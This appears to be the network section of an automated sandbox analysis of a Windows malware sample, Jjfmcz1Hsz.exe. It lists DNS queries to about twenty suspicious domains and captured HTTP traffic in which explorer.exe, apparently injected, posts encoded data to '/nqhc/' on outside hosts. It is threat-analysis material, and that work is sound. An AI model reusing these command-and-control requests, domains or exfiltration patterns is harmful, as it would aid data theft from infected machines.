Dec 5, 2022 15:16:11.182837009 CET	53	63328	1.1.1.1	192.168.11.20
Dec 5, 2022 15:16:22.402956963 CET	62735	53	192.168.11.20	1.1.1.1
Dec 5, 2022 15:16:22.741595984 CET	53	62735	1.1.1.1	192.168.11.20
Dec 5, 2022 15:16:35.087647915 CET	58229	53	192.168.11.20	1.1.1.1
Dec 5, 2022 15:16:35.101815939 CET	53	58229	1.1.1.1	192.168.11.20
Dec 5, 2022 15:16:43.148730993 CET	49406	53	192.168.11.20	1.1.1.1
Dec 5, 2022 15:16:43.167124987 CET	53	49406	1.1.1.1	192.168.11.20
Dec 5, 2022 15:16:55.224304914 CET	52123	53	192.168.11.20	1.1.1.1
Dec 5, 2022 15:16:55.384289980 CET	53	52123	1.1.1.1	192.168.11.20
Dec 5, 2022 15:17:06.565293074 CET	60957	53	192.168.11.20	1.1.1.1
Dec 5, 2022 15:17:06.598546982 CET	53	60957	1.1.1.1	192.168.11.20
Dec 5, 2022 15:17:17.781482935 CET	54453	53	192.168.11.20	1.1.1.1
Dec 5, 2022 15:17:17.791981936 CET	53	54453	1.1.1.1	192.168.11.20
Dec 5, 2022 15:17:25.842004061 CET	50723	53	192.168.11.20	1.1.1.1
Dec 5, 2022 15:17:26.280844927 CET	53	50723	1.1.1.1	192.168.11.20
Dec 5, 2022 15:17:38.620654106 CET	54434	53	192.168.11.20	1.1.1.1
Dec 5, 2022 15:17:38.633373022 CET	53	54434	1.1.1.1	192.168.11.20
Dec 5, 2022 15:17:50.008730888 CET	62791	53	192.168.11.20	1.1.1.1
Dec 5, 2022 15:17:50.498431921 CET	53	62791	1.1.1.1	192.168.11.20
Dec 5, 2022 15:19:50.045459032 CET	63711	53	192.168.11.20	1.1.1.1
Dec 5, 2022 15:19:50.068917036 CET	53	63711	1.1.1.1	192.168.11.20
Dec 5, 2022 15:20:10.166099072 CET	54244	53	192.168.11.20	1.1.1.1
Dec 5, 2022 15:20:10.204616070 CET	53	54244	1.1.1.1	192.168.11.20
Dec 5, 2022 15:20:33.318905115 CET	53640	53	192.168.11.20	1.1.1.1
Dec 5, 2022 15:20:33.541439056 CET	53	53640	1.1.1.1	192.168.11.20
Dec 5, 2022 15:20:50.797487020 CET	62528	53	192.168.11.20	1.1.1.1
Dec 5, 2022 15:20:51.138479948 CET	53	62528	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 5, 2022 15:13:33.597953081 CET	192.168.11.20	1.1.1.1	0xf6f4	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:13:34.650381088 CET	192.168.11.20	1.1.1.1	0xa8c	Standard query (0)	doc-0g-7s-docs.googleusercontent.com	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:14:44.956943035 CET	192.168.11.20	1.1.1.1	0x79e	Standard query (0)	www.labour-office.com	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:15:00.577362061 CET	192.168.11.20	1.1.1.1	0xcca7	Standard query (0)	www.searchbot.su	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:15:12.543545008 CET	192.168.11.20	1.1.1.1	0xef5c	Standard query (0)	www.youlian.fund	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:15:25.509613991 CET	192.168.11.20	1.1.1.1	0xeaf2	Standard query (0)	www.royaltechglobal.com	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:15:47.692354918 CET	192.168.11.20	1.1.1.1	0x389b	Standard query (0)	www.xiaoxiuzhen.com	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:15:59.774122953 CET	192.168.11.20	1.1.1.1	0xd104	Standard query (0)	www.gumba.shop	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:16:11.125571012 CET	192.168.11.20	1.1.1.1	0x799d	Standard query (0)	www.botbillionsblaze.website	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:16:22.402956963 CET	192.168.11.20	1.1.1.1	0x594b	Standard query (0)	www.005404.com	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:16:35.087647915 CET	192.168.11.20	1.1.1.1	0xc6bf	Standard query (0)	www.westinotion.tech	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:16:43.148730993 CET	192.168.11.20	1.1.1.1	0xcbdf	Standard query (0)	www.gouldent.site	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:16:55.224304914 CET	192.168.11.20	1.1.1.1	0xdea9	Standard query (0)	www.apidachicago.org	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:17:06.565293074 CET	192.168.11.20	1.1.1.1	0xa5c9	Standard query (0)	www.funknive.ch	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:17:17.781482935 CET	192.168.11.20	1.1.1.1	0xc37	Standard query (0)	www.noprostatit.store	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:17:25.842004061 CET	192.168.11.20	1.1.1.1	0x829a	Standard query (0)	www.xn--29-oj9ik7b890b.net	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:17:38.620654106 CET	192.168.11.20	1.1.1.1	0xec95	Standard query (0)	www.phootka.ru	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:17:50.008730888 CET	192.168.11.20	1.1.1.1	0x4e5e	Standard query (0)	www.wellnessprodia.com	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:19:50.045459032 CET	192.168.11.20	1.1.1.1	0x6df2	Standard query (0)	www.westinotion.tech	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:20:10.166099072 CET	192.168.11.20	1.1.1.1	0xe8ff	Standard query (0)	www.popular.directory	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:20:33.318905115 CET	192.168.11.20	1.1.1.1	0x1b29	Standard query (0)	www.pinwheeleffect.org	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:20:50.797487020 CET	192.168.11.20	1.1.1.1	0x2b51	Standard query (0)	www.t1fbrc.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 5, 2022 15:13:33.607448101 CET	1.1.1.1	192.168.11.20	0xf6f4	No error (0)	drive.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:13:34.689038038 CET	1.1.1.1	192.168.11.20	0xa8c	No error (0)	doc-0g-7s-docs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2022 15:13:34.689038038 CET	1.1.1.1	192.168.11.20	0xa8c	No error (0)	googlehosted.l.googleusercontent.com		142.250.184.225	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:14:45.268805027 CET	1.1.1.1	192.168.11.20	0x79e	No error (0)	www.labour-office.com		198.58.118.167	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:14:45.268805027 CET	1.1.1.1	192.168.11.20	0x79e	No error (0)	www.labour-office.com		45.33.23.183	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:14:45.268805027 CET	1.1.1.1	192.168.11.20	0x79e	No error (0)	www.labour-office.com		72.14.185.43	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:14:45.268805027 CET	1.1.1.1	192.168.11.20	0x79e	No error (0)	www.labour-office.com		45.56.79.23	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:14:45.268805027 CET	1.1.1.1	192.168.11.20	0x79e	No error (0)	www.labour-office.com		72.14.178.174	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:14:45.268805027 CET	1.1.1.1	192.168.11.20	0x79e	No error (0)	www.labour-office.com		45.33.30.197	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:14:45.268805027 CET	1.1.1.1	192.168.11.20	0x79e	No error (0)	www.labour-office.com		45.79.19.196	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:14:45.268805027 CET	1.1.1.1	192.168.11.20	0x79e	No error (0)	www.labour-office.com		96.126.123.244	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:14:45.268805027 CET	1.1.1.1	192.168.11.20	0x79e	No error (0)	www.labour-office.com		45.33.20.235	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:14:45.268805027 CET	1.1.1.1	192.168.11.20	0x79e	No error (0)	www.labour-office.com		173.255.194.134	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:14:45.268805027 CET	1.1.1.1	192.168.11.20	0x79e	No error (0)	www.labour-office.com		45.33.18.44	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:14:45.268805027 CET	1.1.1.1	192.168.11.20	0x79e	No error (0)	www.labour-office.com		45.33.2.79	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:15:00.693088055 CET	1.1.1.1	192.168.11.20	0xcca7	No error (0)	www.searchbot.su		45.130.41.24	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:15:12.993014097 CET	1.1.1.1	192.168.11.20	0xef5c	No error (0)	www.youlian.fund		154.204.24.45	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:15:25.834120035 CET	1.1.1.1	192.168.11.20	0xeaf2	No error (0)	www.royaltechglobal.com	royaltechglobal.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2022 15:15:25.834120035 CET	1.1.1.1	192.168.11.20	0xeaf2	No error (0)	royaltechglobal.com		192.185.32.157	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:15:47.859869957 CET	1.1.1.1	192.168.11.20	0x389b	No error (0)	www.xiaoxiuzhen.com		38.55.15.214	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:15:59.856864929 CET	1.1.1.1	192.168.11.20	0xd104	No error (0)	www.gumba.shop		75.2.81.212	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:16:11.182837009 CET	1.1.1.1	192.168.11.20	0x799d	No error (0)	www.botbillionsblaze.website	botbillionsblaze.website		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2022 15:16:11.182837009 CET	1.1.1.1	192.168.11.20	0x799d	No error (0)	botbillionsblaze.website		2.57.90.16	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:16:22.741595984 CET	1.1.1.1	192.168.11.20	0x594b	No error (0)	www.005404.com		103.63.2.175	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:16:35.101815939 CET	1.1.1.1	192.168.11.20	0xc6bf	Name error (3)	www.westinotion.tech	none	none	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:16:43.167124987 CET	1.1.1.1	192.168.11.20	0xcbdf	No error (0)	www.gouldent.site		66.29.151.40	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:16:55.384289980 CET	1.1.1.1	192.168.11.20	0xdea9	No error (0)	www.apidachicago.org		194.245.148.189	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:17:06.598546982 CET	1.1.1.1	192.168.11.20	0xa5c9	No error (0)	www.funknive.ch		185.101.158.239	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:17:17.791981936 CET	1.1.1.1	192.168.11.20	0xc37	Name error (3)	www.noprostatit.store	none	none	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:17:26.280844927 CET	1.1.1.1	192.168.11.20	0x829a	No error (0)	www.xn--29-oj9ik7b890b.net	xn--29-oj9ik7b890b.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2022 15:17:26.280844927 CET	1.1.1.1	192.168.11.20	0x829a	No error (0)	xn--29-oj9ik7b890b.net		50.87.192.144	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:17:38.633373022 CET	1.1.1.1	192.168.11.20	0xec95	No error (0)	www.phootka.ru		195.24.68.23	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:17:50.498431921 CET	1.1.1.1	192.168.11.20	0x4e5e	No error (0)	www.wellnessprodia.com	wellnessprodia.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2022 15:17:50.498431921 CET	1.1.1.1	192.168.11.20	0x4e5e	No error (0)	wellnessprodia.com		192.232.217.125	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:19:50.068917036 CET	1.1.1.1	192.168.11.20	0x6df2	Name error (3)	www.westinotion.tech	none	none	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:20:10.204616070 CET	1.1.1.1	192.168.11.20	0xe8ff	No error (0)	www.popular.directory		64.190.63.111	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:20:33.541439056 CET	1.1.1.1	192.168.11.20	0x1b29	No error (0)	www.pinwheeleffect.org		208.91.197.39	A (IP address)	IN (0x0001)	false
Dec 5, 2022 15:20:51.138479948 CET	1.1.1.1	192.168.11.20	0x2b51	No error (0)	www.t1fbrc.com		103.91.8.90	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

doc-0g-7s-docs.googleusercontent.com

www.labour-office.com

www.searchbot.su

www.youlian.fund

www.royaltechglobal.com

www.xiaoxiuzhen.com

www.gumba.shop

www.botbillionsblaze.website

www.005404.com

www.gouldent.site

www.apidachicago.org

www.funknive.ch

www.xn--29-oj9ik7b890b.net

www.phootka.ru

www.wellnessprodia.com

www.popular.directory

www.pinwheeleffect.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49821	172.217.23.110	443	C:\Users\user\Desktop\Jjfmcz1Hsz.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49823	142.250.184.225	443	C:\Users\user\Desktop\Jjfmcz1Hsz.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.11.20	49845	154.204.24.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:15:20.214121103 CET	11209	OUT	GET /nqhc/?7nWHV=MkuUvDTfzFLprDgv0d/zCzEj80YoaBEagpxYPCZUDQ8arMBq5slv03vCCvkVDe0A6/c8Ceh5Akj/CnOQLB+qucpYk5Fxn1TZTg==&t0D=yFNHS0IX HTTP/1.1 Host: www.youlian.fund Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:15:20.499825954 CET	11210	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 05 Dec 2022 14:15:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 31 0d 0a 2e 0d 0a 30 0d 0a 0d 0a Data Ascii: 1.0
Dec 5, 2022 15:15:20.744004011 CET	11210	IN	Data Raw: 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.11.20	49847	192.185.32.157	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:15:25.949804068 CET	11218	OUT	POST /nqhc/ HTTP/1.1 Host: www.royaltechglobal.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.royaltechglobal.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.royaltechglobal.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 63 43 44 37 68 6d 49 2d 4d 78 28 67 7a 47 33 66 35 68 71 30 38 6c 61 6d 77 54 76 44 61 52 38 75 68 76 6e 45 6f 57 6b 63 73 68 7e 34 67 78 35 64 39 38 46 54 59 35 68 79 65 75 33 75 78 2d 45 78 58 73 6e 69 4a 47 31 68 62 35 6f 35 74 58 44 6d 35 54 67 49 38 36 61 65 50 32 6f 6d 6f 73 68 5a 49 70 39 47 72 49 38 42 48 44 74 47 6c 68 47 71 70 34 51 65 4f 31 79 59 7a 68 6e 34 37 47 4f 49 44 50 59 4a 6b 37 34 31 68 69 6f 45 75 39 54 37 5a 4f 7a 53 31 7a 6d 39 47 79 66 31 4e 50 68 71 6b 6f 7a 70 47 4e 34 76 42 6a 33 72 4c 5f 33 4b 64 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=cCD7hmI-Mx(gzG3f5hq08lamwTvDaR8uhvnEoWkcsh~4gx5d98FTY5hyeu3ux-ExXsniJG1hb5o5tXDm5TgI86aeP2omoshZIp9GrI8BHDtGlhGqp4QeO1yYzhn47GOIDPYJk741hioEu9T7ZOzS1zm9Gyf1NPhqkozpGN4vBj3rL_3Kdw).
Dec 5, 2022 15:15:26.263753891 CET	11219	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:15:26 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://royaltechglobal.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade Vary: Accept-Encoding Content-Encoding: gzip X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Content-Length: 13070 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 72 6b 73 db c6 b2 ed 67 a9 ea fe 87 31 5c 89 a4 2d 02 20 f8 d0 83 22 99 63 2b ce e3 1c 3b ce b1 9c 9d bb 4f 9c 52 0d 80 26 30 d6 60 06 99 19 90 62 74 f4 df 6f 0f 00 be 24 8a 62 64 67 a7 ea ee 4d 5b e4 4c 4f f7 ea d5 ab 57 ff d9 d7 6f cf df ff e3 c7 57 24 35 19 1f ee ee f6 ed 2f 89 99 1a 38 dc 28 87 70 2a 92 81 03 c2 fd e9 c2 d9 dd c9 15 8c d8 f5 c0 91 49 0f 0b 4c ae 7b be 2f 93 dc cb c0 17 fa b9 43 10 60 a7 9f 02 8d 87 bb 3b 84 ec f4 33 30 94 44 29 55 1a cc c0 f9 e9 fd 37 ee 89 b3 fc 24 68 06 03 67 cc 60 92 4b 65 1c 12 49 61 40 60 ea 84 c5 26 1d c4 30 66 11 b8 e5 a5 ae db dd d9 e9 3f 73 5d f2 82 73 c2 04 79 2b 80 5c bc 7a 4b 3a 5e cb 3b f6 02 e2 12 ca a4 06 e9 45 32 23 ae 3b b4 e9 4b 9d 94 0c a5 d1 4b 7d 84 64 22 86 6b 87 f8 77 53 13 10 a0 a8 91 6a 29 fb 4e d3 fd 17 df bf c5 df 83 79 f7 19 8c 8e 14 cb 0d 31 d3 1c 81 68 9e 73 16 51 c3 a4 f0 79 7c f8 51 4b 81 90 9c 6a 8d 6f 25 59 57 47 29 64 d4 4e b8 b3 73 e3 fc 47 d9 ef da 38 3d a7 d2 f8 83 ff c1 af 52 3c a9 12 a7 e1 fc 47 a2 68 9e 3a bd 5f 30 d9 36 c1 cc 97 0a 55 8f 54 91 85 af 99 36 36 87 c5 2b 00 4a 4e 29 37 10 a5 09 97 21 e5 56 a0 0f be f8 2d 8d 3e f8 cf c3 79 31 af 8a 99 81 cc e2 bc e2 90 e1 e4 2b 9d 6c fc 7b 7c df b6 c7 73 be 28 c8 a5 66 56 08 a7 17 54 4d 9c de 02 f8 67 08 7f a4 09 6c 8b 8b 79 76 53 98 f8 9d cc 6c 55 a1 f8 16 55 b7 58 86 e2 96 84 b6 d5 67 3e c1 6d e3 e9 3a dc c5 5a 56 a3 f5 c9 6a 54 e8 0b 4d 7e 90 86 7c 23 0b 11 6f 2b 4c 0d 80 f2 e4 0a c6 4c 16 7a 3b 89 96 c4 f9 75 59 9e b7 2a a1 82 fd 5e fa 7e 6b ab c8 d5 a2 7a 96 77 36 97 bc c7 64 f2 6d 99 bd f5 b2 1b 0e 97 89 5c 96 f5 fb 0c 45 7d 1b 7e 84 c8 6c 8b 32 c9 dd 48 0a 03 c2 7c f0 8b 9c 4b 1a eb 0f 7e ab d9 6a 7d f0 83 e0 83 1f 29 99 e7 10 bb af b1 d3 1b 7a a5 dc c0 cb 45 f2 a4 91 2d 04 16 4e 58 6c 52 34 45 a7 d9 70 52 60 49 6a 9c 5e a7 8d 9b 61 96 7c 39 cd d3 a0 6f 97 17 f4 24 83 3d 9f 40 98 57 55 7f c4 55 48 5d bc a6 22 29 4a fe 0e 08 f7 a7 0b 1b d4 3f 52 65 de 8e b6 1f 09 db 6b 66 c0 da 34 54 40 e3 48 15 59 b8 75 79 3d c3 a2 d2 7a f7 9e 2a 17 b6 c1 b6 eb 9b 11 da de 91 1b 4c bd 56 a4 bc b0 34 53 50 4f 5b 3c 8e f7 eb ed ee ce 4e df d7 91 62 b9 19 da f3 33 d7 25 2f 38 27 4c 90 b7 02 c8 c5 ab b7 c4 75 87 bb bb bb d5 d3 fb 94 69 62 c7 22 f8 2b 73 c3 32 f6 3b c4 64 c2 4c 4a 4c 0a e4 1f 92 6a 53 56 e5 bc 48 10 64 1c 9c 7a 41 40 5c 52 31 f3 fd a9 cd b0 6c fc 89 54 71 ae 40 6b bf ca d5 be 06 e9 97 ed 76 fa 86 19 0e 43 6b 43 22 a4 21 23 59 88 18 51 ee 69 d3 f7 ab 4c 2c c9 c0 50 92 2b 99 83 32 d3 81 23 93 1e 97 11 e5 e0 90 48 0a 03 Data Ascii: rksg1\- "c+;OR&0`bto$bdgM[LOWoW$5/8(pIL{/C`;30D)U7$hg`KeIa@`&0f?s]sy+\zK:^;E2#;KK}d"kwSj)Ny1hsQy\|QKjo%YWG)dNsG8=R<Gh:_06UT66+JN)7!V->y1+l{\|s(fVTMglyvSlUUXg>m:ZVjTM~\|#o+LLz;uY^~kzw6dm\E}~l2H\|K~j})zE-NXlR4EpR`Ij^a\|9o$=@WUUH]")J?Rekf4T@HYuy=z*LV4SPO[<Nb3%/8'Luib"+s2;dLJLjSVHdzA@\R1lTq@kvCkC"!#YQiL,P+2#H
Dec 5, 2022 15:15:26.263844013 CET	11220	IN	Data Raw: c2 0c 50 b9 4b 54 8e f8 eb d3 4b a4 a5 ec c7 bb 3f 08 65 25 ba 2c f7 b9 80 7b a8 ba 52 9f 58 9b 0d 1c 9a e7 9c 45 e5 7e 7c 1e 1f 7e d4 b8 27 12 71 aa f5 c0 29 a5 73 75 94 42 46 dd 44 d1 3c 75 86 b8 f8 b2 c1 b5 99 6f df f7 ab 14 0f 97 6d dd 5a 65 Data Ascii: PKTK?e%,{RXE~\|~'q)suBFD<uomZe~y:<MC5^dUQ"@f~h8LNx%(0h!95FTvb"t~+@M]&.CoS~ska5IF.vy%W+6lcmre#DV
Dec 5, 2022 15:15:26.263935089 CET	11222	IN	Data Raw: ef 07 bd 7d cc 30 86 46 69 99 b4 ef 48 51 3f 1f d8 de ab 2f 25 3b 6d a8 81 28 a5 22 01 a7 b1 44 de 89 64 96 73 30 e0 0c 06 03 5a 4d 72 61 73 ed 62 ee ce 75 70 d0 d8 07 2b bf 2c 54 04 ff fb bf 37 b7 07 5e 24 45 84 e9 d6 ba 5f 45 48 6b e9 7e d0 03 Data Ascii: }0FiHQ?/%;m("Dds0ZMrasbup+,T7^$E_EHk~o/Lo{n'LreTd8A{uKg}_Gffi#.vu8L!7;19a30g;T1SH&]J&iz9"]
Dec 5, 2022 15:15:26.264007092 CET	11223	IN	Data Raw: 0b dc 1e 83 94 c7 25 a4 2d cb 2a de 38 08 fa 6e da ab 3d 50 96 3d b2 8a 8c 19 37 2c 90 a5 58 16 b3 65 d5 9c a1 3d 0a a3 e0 b7 82 29 88 5d eb b4 b5 24 e6 76 3a cb 69 1c 33 91 2c 3c 5e 8a dc f4 da 9b d7 25 c5 85 e5 aa 35 43 a2 29 b0 24 35 25 c4 13 Data Ascii: %-*8n=P=7,Xe=)]$v:i3,<^%5C)$5%M;bJhEESqFQGReP[4l"j,(#hSrcT,o=%'gt/a@5:[W-A9u(Uf%g,I.UOb5.vQEcV^Fht(YFn7n8=!
Dec 5, 2022 15:15:26.264075041 CET	11224	IN	Data Raw: b5 4f 36 a4 9c 60 4a d7 6b 1e d9 94 db de 24 05 05 fb 1e d3 28 c4 54 16 c6 1d 71 b8 3e b8 49 68 6e 07 ea da 9c 50 c6 53 b2 92 21 27 64 48 3c ca 59 22 38 8c cc 0d 46 28 5a d8 9e cf 32 d4 93 09 97 09 ce 70 ed da 50 85 2f cd 3b 61 10 31 8e f2 28 b8 Data Ascii: O6`Jk$(Tq>IhnPS!'dH<Y"8F(Z2pP/;a1(bI:G//-G#M]i-$XKe+IH!$Z+.Xmf!];aI{dLNrrpr28ppgVlbi_&f:{9(>+)@{
Dec 5, 2022 15:15:26.264139891 CET	11226	IN	Data Raw: ca 1f 3e a2 87 17 9c 86 87 6f 45 75 e7 85 a2 75 31 5e 85 91 c2 fe aa 28 65 a8 91 d1 87 5f d3 02 9d 0d 6a 16 1d 4b cc 0e ca 56 81 6d d5 3a 6f 95 97 56 75 69 97 97 76 75 59 62 d4 3a ef 96 97 6e 75 39 2a 2f 47 d5 e5 b8 bc 1c 57 97 93 f2 72 52 5d 4e Data Ascii: >oEuu1^(e_jKVm:oVuivuYb:nu9/GWrR]Ni=b\sKT[AP~NjD>4:Lfe',T?nK*PKYH\2KfqR^@DL,tr\|~NC&hs'YP2mT
Dec 5, 2022 15:15:26.264204025 CET	11227	IN	Data Raw: 7b 24 83 98 d1 c1 1e e5 7c 8f f8 c3 dd 3e 67 e2 8a e0 4e 06 7b 1a 9d 0e 3a 05 30 7b 84 c5 83 bd f1 c4 8d a9 ba 72 43 2e a3 2b b7 7c 75 4b 88 54 c1 68 b0 97 1a 93 f7 7c 5f c9 29 e5 06 a2 34 e1 32 a4 dc 8b 64 e6 4f 72 37 92 c2 80 30 be 49 21 03 ed Data Ascii: {$\|>gN{:0{rC.+\|uKTh\|_)42dOr70I!X>LV{xOSc@]O0\|B)63?aT31.Q(AJL5;HP^Gf(;)A"{sY&f:tR-i+r+\8c
Dec 5, 2022 15:15:26.264266014 CET	11228	IN	Data Raw: 0f 95 49 ac 91 87 ff 3f fb fd df 56 0f b6 f6 76 b0 b5 99 83 7f bb f7 9f e2 de bc 50 39 07 77 0a 1c ab fe 55 1d ec 75 3b a7 cd e0 f4 a8 79 7c d2 69 db a6 de e9 c9 49 ab dd 6d 9d 76 82 e0 f8 a8 fb f9 fd ed 1d 23 6e e7 b8 d9 2d fb b4 b1 63 6b 85 c3 Data Ascii: I?VvP9wUu;y\|iImv#n-ck8A_\24&ZB*oS9Dj0Q_:=L&Ifip&/MZZ><dTh;Qq"%E yh31,d7#4?cP#
Dec 5, 2022 15:15:26.264394999 CET	11230	IN	Data Raw: aa 11 bb c6 e9 0b 5e 91 c5 b0 1b 2c ac 5c 27 d4 fb b9 2c 19 f7 39 5b e4 22 df cc 0d ba 0b a2 b3 20 59 3c 9b 69 0e 6e 54 68 23 97 a3 32 fc 08 91 b9 1f 47 b0 61 9f 92 54 c1 08 ed 64 4c ae 7b be af e4 94 72 03 51 9a 70 19 52 ee 45 32 73 86 df c9 0c Data Ascii: ^,\',9[" Y<inTh#2GaTdL{rQpRE2s>p6]CqZ3iEx4q;H~YV[04yW\|V'[2f4Gx$ohd+6+8dvWp,1Ic#rK7#F\j GCj
Dec 5, 2022 15:15:26.264470100 CET	11231	IN	Data Raw: 26 ed fb d5 6b 99 7d 27 75 6f 93 75 5b cd 56 cb 0f 02 7f 6f 48 7e 90 63 c8 42 50 c4 c6 c8 12 e2 1f 86 6b 5a b8 b7 91 91 9f 03 ad 79 6a d1 2e 20 37 9f 87 5d f3 c4 e2 bd 28 92 42 9b 4f 07 3b b6 60 ff 59 f0 e9 a7 43 1d 55 50 02 3e 1d aa 6b a1 de d0 Data Ascii: &k}'uou[VoH~cBPkZyj. 7](BO;`YCUP>k@S+?]BB}]/})b9?1p?_BYr3J2 08>q,6CvwfxDyJEyATs@g#
Dec 5, 2022 15:15:26.378420115 CET	11232	IN	Data Raw: e4 a1 db 76 96 11 77 ca 82 f9 08 f9 54 d9 11 49 24 85 a1 0c 07 75 d6 b0 ca 67 f9 59 e8 36 9d 21 ea 5e 8a 3c d3 78 32 99 78 e3 09 1a 21 03 5d 0a 5c 1d fd 91 02 70 63 aa ae dc 89 54 71 ae 40 6b b7 7c f2 89 a1 2a 01 33 d8 bb 0c 39 15 57 7b c3 af 31 Data Ascii: vwTI$ugY6!^<x2x!]\pcTq@k\|39W{1Y?,f\^q}n<k#%9/rb#\JrWl,\?.JHS^-rWXzD,7LsYG:Uti/$I]"q?j#g

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.11.20	49848	192.185.32.157	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:15:28.091943026 CET	11233	OUT	POST /nqhc/ HTTP/1.1 Host: www.royaltechglobal.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.royaltechglobal.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.royaltechglobal.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 63 43 44 37 68 6d 49 2d 4d 78 28 67 69 57 48 66 34 47 32 30 70 56 61 68 28 7a 76 44 44 68 39 6e 68 76 72 45 6f 58 67 4d 35 48 75 34 68 51 4a 64 38 2d 39 54 56 5a 68 79 4b 2d 33 72 7e 65 45 2d 58 73 71 58 4a 44 4e 68 62 39 41 35 73 68 58 6d 28 6a 67 4c 6b 4b 61 64 49 32 6f 6a 35 38 68 48 49 70 68 53 72 4a 34 42 41 77 70 47 6b 6a 75 71 7e 5a 51 5a 45 31 79 6b 36 42 6e 37 78 6d 4f 38 44 4f 6b 33 6b 36 51 6c 67 52 30 45 67 38 7a 37 59 4f 7a 54 75 7a 6d 36 